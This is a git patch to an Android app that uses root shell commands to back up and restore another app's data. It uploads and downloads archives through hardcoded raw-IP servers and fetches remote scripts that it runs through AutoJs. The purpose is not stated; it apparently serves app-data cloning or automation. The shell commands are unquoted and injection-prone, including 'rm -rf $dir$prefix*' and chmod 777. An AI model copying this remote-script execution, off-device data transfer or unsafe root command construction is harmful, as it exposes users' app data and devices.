From a69be9ced59c820d1e512ff155c5b45a51085f43 Mon Sep 17 00:00:00 2001 From: Administrator Date: Wed, 30 Jul 2025 15:04:12 +0800 Subject: [PATCH] data recover --- .../java/com/android/grape/MainActivity.kt | 7 +++++ .../grape/job/SendCallbackJobService.kt | 2 +- .../java/com/android/grape/util/AppUtils.kt | 8 +++--- .../com/android/grape/util/BackupUtils.kt | 9 ++++--- .../java/com/android/grape/util/FileUtils.kt | 27 ------------------- .../com/android/grape/util/ScriptUtils.kt | 12 +++++++-- .../java/com/android/grape/util/ShellUtils.kt | 10 +++---- 7 files changed, 32 insertions(+), 43 deletions(-) diff --git a/app/src/main/java/com/android/grape/MainActivity.kt b/app/src/main/java/com/android/grape/MainActivity.kt index aa3a686..af2f45d 100644 --- a/app/src/main/java/com/android/grape/MainActivity.kt +++ b/app/src/main/java/com/android/grape/MainActivity.kt @@ -11,8 +11,10 @@ import androidx.appcompat.app.AlertDialog import androidx.appcompat.app.AppCompatActivity import androidx.core.view.ViewCompat import androidx.core.view.WindowInsetsCompat +import androidx.lifecycle.lifecycleScope import com.android.grape.databinding.ActivityMainBinding import com.android.grape.job.MonitorService +import com.android.grape.util.BackupUtils import com.android.grape.util.BackupUtils.killRecordProcess import com.android.grape.util.ClashUtil import com.android.grape.util.FileUtils @@ -23,6 +25,7 @@ import com.android.grape.util.ScriptUtils.unregisterScriptResultReceiver import com.android.grape.util.ShellUtil import com.android.grape.util.StoragePermissionHelper import com.android.grape.util.TaskUtils +import kotlinx.coroutines.launch /** * public class MainActivity extends AppCompatActivity @@ -78,6 +81,10 @@ class MainActivity : AppCompatActivity() { } viewBinding.stop.setOnClickListener { killRecordProcess(this, packageName) +// lifecycleScope.launch { +// BackupUtils.backUp(this@MainActivity, "com.policybazaar") +// BackupUtils.recoverRecordData(this@MainActivity) +// } } } diff --git a/app/src/main/java/com/android/grape/job/SendCallbackJobService.kt b/app/src/main/java/com/android/grape/job/SendCallbackJobService.kt index c3a5e7e..9c94f61 100644 --- a/app/src/main/java/com/android/grape/job/SendCallbackJobService.kt +++ b/app/src/main/java/com/android/grape/job/SendCallbackJobService.kt @@ -243,7 +243,7 @@ class SendCallbackJobService : JobIntentService() { } chownSh(fileName, getMainUserAndGroup(this)) - var url = "http://39.103.73.250/tt/ddj/backup.do" + var url = "http://47.83.1.116/tt/ddj/backup.do" // if (Util.backUpServerIp != "") { // url = "http://" + Util.backUpServerIp + "/tt/ddj/backup.do" // } diff --git a/app/src/main/java/com/android/grape/util/AppUtils.kt b/app/src/main/java/com/android/grape/util/AppUtils.kt index 2f8e79e..f6d91ab 100644 --- a/app/src/main/java/com/android/grape/util/AppUtils.kt +++ b/app/src/main/java/com/android/grape/util/AppUtils.kt @@ -42,7 +42,9 @@ import com.android.grape.util.ContextUtils.getBaseFilesDir import com.android.grape.util.ContextUtils.getRecordDataDirName import com.android.grape.util.ContextUtils.getRecordDataFileName import com.android.grape.util.ContextUtils.getRecordExtraFileName +import com.android.grape.util.ContextUtils.getRecordListTxtFileName import com.android.grape.util.ContextUtils.getRecordSdcardApkVerFileName +import com.android.grape.util.ContextUtils.getRecordTxtFileName import com.android.grape.util.ContextUtils.getSessionTxtFileName import com.android.grape.util.DeviceUtils.getUserAndGroupSh import com.android.grape.util.FileUtils.forceMakeDir @@ -397,8 +399,8 @@ object AppUtils { fun installObb(context: Context, extraFile: File) { val userAndGroup = getUserAndGroupSh( context, - context.packageName, - getBaseFilesDir(context) + "/" + monitorDir + "/" + apkDir + "/" + context.packageName + ".txt" + recordPackageName, + getRecordTxtFileName( context) ) val destExtraFile = File( @@ -626,7 +628,7 @@ object AppUtils { .isNotEmpty() ) { var restored_zip = - "http://192.168.1.111/tt/" + it.getString("BackupFileUrl1") + "http://47.83.1.116/tt/upload/backupddj/" + it.getString("BackupFileUrl1") if (backUpServerIp.isNotEmpty()) { restored_zip = "http://" + backUpServerIp + "/tt/" + it.getString("BackupFileUrl1") diff --git a/app/src/main/java/com/android/grape/util/BackupUtils.kt b/app/src/main/java/com/android/grape/util/BackupUtils.kt index 2b8adef..e585fc0 100644 --- a/app/src/main/java/com/android/grape/util/BackupUtils.kt +++ b/app/src/main/java/com/android/grape/util/BackupUtils.kt @@ -16,6 +16,7 @@ import com.android.grape.util.ContextUtils.getMonitorDir import com.android.grape.util.ContextUtils.getRecordDataDirName import com.android.grape.util.ContextUtils.getRecordDataFileName import com.android.grape.util.ContextUtils.getRecordListTxtFileName +import com.android.grape.util.ContextUtils.getRecordTxtFileName import com.android.grape.util.DeviceUtils.getMainUserAndGroup import com.android.grape.util.DeviceUtils.getUserAndGroupSh import com.android.grape.util.FileUtils.forceMakeDir @@ -86,8 +87,8 @@ object BackupUtils { } val uid = getUserAndGroupSh( context.applicationContext, - context.packageName, - getBaseFilesDir(context) + "/" + monitorDir + "/" + apkDir + "/" + context.packageName + ".txt" + recordPackageName, + getRecordTxtFileName(context) ) chownSh(getMonitorDir(context), uid) val copySucc = FileUtils.copyFolderSh(apkDataPath,zipDirName) @@ -348,8 +349,8 @@ object BackupUtils { val userAnGroup = getUserAndGroupSh( context, - context.packageName, - getBaseFilesDir(context) + "/" + monitorDir + "/" + apkDir + "/" + context.packageName + ".txt" + recordPackageName ?: return false, + getRecordTxtFileName( context) ) Log.i("BackupUtils", "recoverRecordData->userAndGroup:$userAnGroup") File(reloginDataDir).parentFile?.absolutePath?.let { diff --git a/app/src/main/java/com/android/grape/util/FileUtils.kt b/app/src/main/java/com/android/grape/util/FileUtils.kt index efbbeb5..1851e4c 100644 --- a/app/src/main/java/com/android/grape/util/FileUtils.kt +++ b/app/src/main/java/com/android/grape/util/FileUtils.kt @@ -279,9 +279,6 @@ object FileUtils { ) try { val zipDir = File(zipDirName) -// val zipFile = File(zipFileName) -//// var cmd = "cd " + (zipDir.parentFile?.absolutePath ?: "") + "|" -//// cmd += "tar -zcvf " + zipFile.name + " " + zipDir.name val cmdString = "tar -zcvf $zipFileName -C ${zipDir.parentFile?.absolutePath ?: ""} ${zipDir.name}" Log.i("FileUtils", "zipSh-> cmd:$cmdString") MockTools.exec(cmdString) @@ -708,16 +705,6 @@ object FileUtils { val src = File(oldPath) val dst = File(newPath) -// if (!src.exists()) { -// LogUtils.d( -// Log.ERROR, -// "TaskUtil", -// "Source path does not exist: $oldPath", -// null -// ) -// return false -// } - // 构造命令(注意 shell 特殊字符的转义) val safeOldPath = src.absolutePath.replace(" ", "\\ ").replace("\"", "\\\"") val safeNewPath = dst.absolutePath.replace(" ", "\\ ").replace("\"", "\\\"") @@ -730,20 +717,6 @@ object FileUtils { val chmod = "chmod 777 \"$safeNewPath\"" val chmodResult: String? = ShellUtils.execRootCmdAndGetResult(chmod) recursiveChmod777(dst) -// LogUtils.d( -// "TaskUtil", -// "chmodResult. Result: $chmodResult", -// null -// ) -// if ( result.trim { it <= ' ' }.isEmpty()) { -// LogUtils.d( -// "TaskUtil", -// "Command execution failed. Result: $result", -// null -// ) -// return false -// } - Log.i("TaskUtil", "Command executed successfully: $result") return true } catch (e: java.lang.Exception) { diff --git a/app/src/main/java/com/android/grape/util/ScriptUtils.kt b/app/src/main/java/com/android/grape/util/ScriptUtils.kt index 59a54e6..5a93812 100644 --- a/app/src/main/java/com/android/grape/util/ScriptUtils.kt +++ b/app/src/main/java/com/android/grape/util/ScriptUtils.kt @@ -20,6 +20,7 @@ import com.android.grape.util.ShellUtils.delFileSh import com.android.grape.util.ShellUtils.unzipAPkSh import com.android.grape.util.ShellUtils.unzipScriptSh import com.blankj.utilcode.util.LogUtils +import java.io.File /** * @Time: 2025-16-16 19:16 @@ -46,8 +47,8 @@ object ScriptUtils { fun execDownScript(): Boolean { var isDownload = true if (isCanAuto) { - Log.i("TaskUtils", "start to execDownScript") val script_url = "http://39.103.73.250/tt/" + canAutoLc + Log.i("TaskUtils", "start to execDownScript $script_url") isDownload = downloadFile(script_url, script_path) if (!isDownload) { Log.i("TaskUtils", "execDownScript isDownload : $isDownload") @@ -70,7 +71,14 @@ object ScriptUtils { } return } - + val scriptFile = File(src) + if (!scriptFile.exists()) { + LogUtils.e("AutoJsUtil", "Script file not found") + runOnUiThread { + Toast.makeText(context, "Script file not found", Toast.LENGTH_SHORT).show() + } + return + } val intent = Intent() intent.setClassName( "org.autojs.autojs6", diff --git a/app/src/main/java/com/android/grape/util/ShellUtils.kt b/app/src/main/java/com/android/grape/util/ShellUtils.kt index 00e3cf1..deb6be2 100644 --- a/app/src/main/java/com/android/grape/util/ShellUtils.kt +++ b/app/src/main/java/com/android/grape/util/ShellUtils.kt @@ -478,8 +478,7 @@ object ShellUtils { fun delFilesSh(dir: String, prefix: String?) { try { - var cmd = "cd $dir|" - cmd += "rm -rf $prefix*" + var cmd = "rm -rf $dir$prefix*" Log.i("ShellUtils", "delFilesSh-> cmd:$cmd") MockTools.exec(cmd) } catch (e: Exception) { @@ -514,10 +513,9 @@ object ShellUtils { fun unZipFileSh(zipFileName: String, dataDir: String) { try { - var cmd = "cd $dataDir|" - cmd += "tar -xvf " + File(zipFileName).name - Log.i("ShellUtils", "unZipFileSh-> cmd:$cmd") - MockTools.exec(cmd) + val cmdString = "tar -zxvf $zipFileName --strip-components=1 -C $dataDir" + Log.i("ShellUtils", "unZipFileSh-> cmd:$cmdString") + MockTools.exec(cmdString) } catch (e: Exception) { e.printStackTrace() }